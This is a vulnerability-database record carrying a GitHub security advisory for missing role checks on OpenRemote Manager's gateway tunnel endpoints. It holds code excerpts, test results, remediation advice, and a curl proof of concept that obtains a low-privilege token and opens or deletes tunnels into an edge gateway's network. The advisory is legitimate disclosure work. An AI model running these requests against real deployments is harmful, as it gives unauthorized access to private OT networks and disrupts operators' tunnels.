{"schema":"threatline.record/2","record":{"id":"GHSA-5h8w-vg25-fw38","aliases":["GHSA-5h8w-vg25-fw38"],"summary":"Gateway tunnel endpoints carry no `@RolesAllowed`: any authenticated user opens a bidirectional TCP circuit into an edge gateway's network","details":"### Summary\r\n\r\nFour of the five gateway tunnel endpoints in `GatewayServiceResource` carry **no `@RolesAllowed` annotation** — neither on the method nor at the interface level. Any authenticated user, including one holding only `read:map` and no administrative role of any kind, can open a **persistent, bidirectional TCP circuit** from a publicly reachable SSH bastion into an edge gateway's OT/LAN segment, and can tear down tunnels that operators depend on.\r\n\r\nThe privilege requirement is **inverted**: merely *listing* a realm's tunnels requires `read:admin`, while *creating* one requires no client role at all.\r\n\r\nAffected: **every released version carrying gateway tunnelling, `1.2.0` through `1.30.1` inclusive.** Fixed in `1.31.0`.\r\n\r\n### Details\r\n\r\n**Affected versions.** Gateway tunnelling was introduced on 2024-05-20 by *\"Initial implementation of gateway tunnelling (#1297)\"*, which predates the first tagged release (`1.2.0`, 2024-12-18), so every release up to and including `1.30.1` carries it. Confirmed on `1.28.1`, whose tag dereferences to commit `51f4c3c0c8edd429a65237268d47d615617d4008` — the exact artifact tested.\r\n\r\n**Annotation-to-method map** of `model/src/main/java/org/openremote/model/gateway/GatewayServiceResource.java` before the fix. The file contains **exactly one `@RolesAllowed`, and it is on the read-only listing endpoint**:\r\n\r\n```\r\n 38:  @Path(\"gateway\")\r\n 43:  @GET\r\n 44:  @Path(\"tunnel/{realm}\")\r\n 46:  @RolesAllowed({Constants.READ_ADMIN_ROLE})              <-- the ONLY one in the file\r\n 54:  GatewayTunnelInfo[] getAllActiveTunnelInfos(\r\n\r\n 59:  @GET\r\n 60:  @Path(\"tunnel/{realm}/{id}\")                             <-- no @RolesAllowed\r\n 76:  @GET\r\n 77:  @Path(\"tunnel/{realm}/{id}/{target}/{targetPort}\")       <-- no @RolesAllowed\r\n 89:  GatewayTunnelInfo getActiveTunnelInfo(\r\n\r\n105:  @POST\r\n106:  @Path(\"tunnel\")                                          <-- no @RolesAllowed\r\n120:  GatewayTunnelInfo startTunnel(\r\n\r\n128:  @DELETE\r\n129:  @Path(\"tunnel\")                                          <-- no @RolesAllowed\r\n141:  void stopTunnel(\r\n```\r\n\r\nFour of the five tunnel endpoints — including **both mutating ones** — carry no authorization annotation.\r\n\r\n**The contrast, side by side:**\r\n\r\n```java\r\n// model/src/main/java/org/openremote/model/gateway/GatewayServiceResource.java:43-46   -- read path IS gated\r\n@GET @Path(\"tunnel/{realm}\")\r\n@RolesAllowed({Constants.READ_ADMIN_ROLE})\r\nGatewayTunnelInfo[] getAllActiveTunnelInfos(...);\r\n\r\n// model/src/main/java/org/openremote/model/gateway/GatewayServiceResource.java:105-125 -- write path is NOT gated\r\n@POST @Path(\"tunnel\")\r\nGatewayTunnelInfo startTunnel(@RequestBody(...) GatewayTunnelInfo tunnelInfo);\r\n```\r\n\r\n**The implementation's only gates are authentication, realm equality, and — for restricted users only — an asset-link check:**\r\n\r\n```java\r\n// manager/src/main/java/org/openremote/manager/gateway/GatewayServiceResourceImpl.java:121-142\r\npublic GatewayTunnelInfo startTunnel(GatewayTunnelInfo tunnelInfo) {\r\n  if (!isAuthenticated()) { throw new ForbiddenException(); }            // authn only\r\n  if (tunnelInfo == null || TextUtil.isNullOrEmpty(tunnelInfo.getGatewayId())) { ... }\r\n  if (TextUtil.isNullOrEmpty(tunnelInfo.getRealm())) {\r\n    tunnelInfo.setRealm(getAuthenticatedRealmName());\r\n  } else if (!isSuperUser() && !tunnelInfo.getRealm().equals(getAuthenticatedRealmName())) { ... }\r\n  if (isRestrictedUser() && !assetStorageService.isUserAsset(getUserId(), tunnelInfo.getGatewayId())) { ... }\r\n  return this.gatewayService.startTunnel(tunnelInfo);\r\n}\r\n```\r\n\r\nNothing in that chain asks what the caller is permitted to do with tunnels, because no role is required to reach it.\r\n\r\n### PoC\r\n\r\n**The authorization gap itself was confirmed on a live instance** running `openremote/manager` built from commit `51f4c3c0c8e` (= release `1.28.1`), with `OR_DEV_MODE=false`. Test user `poclow` held `write:assets` only — no admin role of any kind:\r\n\r\n| Endpoint | Annotation | Result |\r\n|---|---|---|\r\n| `GET /gateway/tunnel/master` | `@RolesAllowed(READ_ADMIN)` | **403** (control — the gate works) |\r\n| `GET /gateway/tunnel/master/{id}` | none | **200** |\r\n| `POST /gateway/tunnel` (start) | none | **400** — passed authz, failed business validation |\r\n| both, no token | — | 403 (authentication *is* enforced) |\r\n\r\nAn authenticated-but-unprivileged user **passes the authorization layer** on the tunnel-*starting* endpoint while the read-only *listing* endpoint requires `read:admin`. The **400-not-403 is the evidence that authorization was not the blocker** — the request failed only on business validation because the test instance had no registered gateway.\r\n\r\nFull exploitation of the network-pivot leg requires a registered, connected gateway, which the test instance lacked. The authorization defect is independent of that and is confirmed.\r\n\r\n**Complete reproduction on a deployment with gateway federation configured:**\r\n\r\n```bash\r\n# Low-privilege realm user token (no admin roles at all)\r\nTOKEN=$(curl -s -d 'grant_type=password' -d 'client_id=openremote' \\\r\n  -d 'username=lowpriv' -d 'password=lowpriv' \\\r\n  https://HOST/auth/realms/tenanta/protocol/openid-connect/token | jq -r .access_token)\r\n\r\n# 1) Confirm the caller is NOT an admin - the read:admin listing must 403\r\ncurl -s -o /dev/null -w '%{http_code}\\n' -H \"Authorization: Bearer $TOKEN\" \\\r\n  https://HOST/api/tenanta/gateway/tunnel/tenanta        # expect 403\r\n\r\n# 2) Yet the same caller can open a tunnel through the gateway\r\ncurl -s -X POST https://HOST/api/tenanta/gateway/tunnel \\\r\n  -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/json' \\\r\n  -d '{\"realm\":\"tenanta\",\"gatewayId\":\"<GATEWAY_ASSET_ID>\",\"type\":\"TCP\",\"target\":\"<TARGET_HOST>\",\"targetPort\":<TARGET_PORT>}'\r\n# 200 + {\"id\":\"gw-....\",\"hostname\":\"...\",\"assignedPort\":...} => forward established\r\n\r\n# 3) And can close a tunnel an operator is relying on\r\ncurl -s -X DELETE https://HOST/api/tenanta/gateway/tunnel \\\r\n  -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/json' \\\r\n  -d '{\"realm\":\"tenanta\",\"gatewayId\":\"<GATEWAY_ASSET_ID>\",\"target\":\"<TARGET_HOST>\",\"targetPort\":<TARGET_PORT>}'\r\n```\r\n\r\n### Impact\r\n\r\n**Vulnerability class:** Missing Function-Level Authorization (CWE-862).\r\n\r\n**Who is impacted:** every deployment using gateway federation — i.e. any deployment actually using the feature, which is its entire purpose. The attacker needs only *any* authenticated account in the realm; in a multi-tenant deployment that is any customer user, including a throwaway one.\r\n\r\nA tunnel is **not a read-only fetch**. It is a persistent, bidirectional TCP circuit into a private network, and the missing role gate hands that capability to accounts that were never meant to have it:\r\n\r\n- **Persistent inbound pivot.** `doTunnelSync` (`manager/src/main/java/org/openremote/manager/gateway/GatewayClientConnector.java:437`) re-creates the forwards the central instance reports on every gateway reconnect, so a tunnel survives edge restarts until it is explicitly stopped or `autoCloseTime` fires — and `OR_GATEWAY_TUNNEL_AUTO_CLOSE_MINUTES` **defaults to `0` = never** (`GatewayService.java:242`).\r\n- **A TCP circuit rather than a single request.** The forward is established by `session.startRemotePortForwarding` in `MINAGatewayTunnelFactory`, so it carries arbitrary TCP in both directions to the `target` and `targetPort` named in the request. What that reaches is a property of the deployment: whatever the edge gateway's JVM can route to on its own network.\r\n- **Tunnel teardown DoS** against tunnels administrators depend on, since `stopTunnel` is equally ungated.\r\n- **Cross-tenant** where the caller is a super user; within a realm, any user can target any gateway even without `read:assets` on it.\r\n\r\nConfidentiality, integrity and availability of the network behind the gateway are therefore all in scope.\r\n\r\n**What was verified.** The authorization gap was confirmed on a live instance, as set out under PoC. The consequences above follow from the code paths cited and from the documented purpose of the feature; they were not exercised end to end against a connected gateway, and no claim is made here about what any particular deployment exposes on that network.\r\n\r\n### Remediation\r\n\r\nUpgrade to `1.31.0`.\r\n\r\nTwo dedicated roles were introduced, `read:tunnels` and `write:tunnels`, and every tunnel endpoint now requires one of them: the three read endpoints require `read:tunnels`, and `startTunnel` and `stopTunnel` require `write:tunnels`. The admin roles no longer grant tunnel access, because a tunnel reaches hosts on the gateway's own network rather than anything inside the manager. Restricted users additionally see and control only the tunnels of gateway assets linked to them, and the dashboard gateway widget is gated on the same roles.\r\n\r\n**Upgrade note.** A database migration adds the new roles to the `read` and `write` composite roles, so accounts holding a composite keep working. Accounts provisioned with individual roles rather than a composite do **not** gain them and must be granted `read:tunnels` or `write:tunnels` explicitly before they can use the tunnel endpoints again.\r\n\r\n### Disclosure notes\r\n\r\nTesting was performed on the reporter's own disposable local infrastructure, loopback-only. Nothing was sent off-host; no third-party system was contacted. The stack and all volumes have been destroyed.\r\n\r\nOne test-harness deviation is disclosed for completeness: the `openremote` Keycloak client ships with `directAccessGrantsEnabled=false`; it was flipped to `true` via the Keycloak admin API to script token acquisition. This changes *how a token is obtained*, not what a validly-authenticated principal may do — the authorization finding above is unaffected.\r\n","categories":["Unclassified"],"product":"io.openremote:openremote-manager","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/openremote/core/security/advisories/GHSA-5h8w-vg25-fw38","source_modified_at":"2026-10-08T10:14:40Z","fetched_at":"2026-10-26T00:08:39.284423Z","package":{"ecosystem":"maven","name":"io.openremote:openremote-manager"},"range":"<1.31.0"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/openremote/core/security/advisories/GHSA-5h8w-vg25-fw38","source_modified_at":"2026-10-08T10:14:40Z","fetched_at":"2026-10-26T00:08:39.284423Z","package":{"ecosystem":"maven","name":"io.openremote:openremote-manager"},"version":"1.31.0"}],"cvss":9,"severity":"Critical","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-07T08:35:14Z","modified_at":"2026-10-08T10:14:40Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/openremote/core/security/advisories/GHSA-5h8w-vg25-fw38","fetched_at":"2026-10-26T00:08:39.284423Z","source_modified_at":"2026-10-08T10:14:40Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-08T10:14:40Z","content_hash":"c339f2dc9745909769607949b63333de458d461a4d3f6f595748d127d1792a84"}}
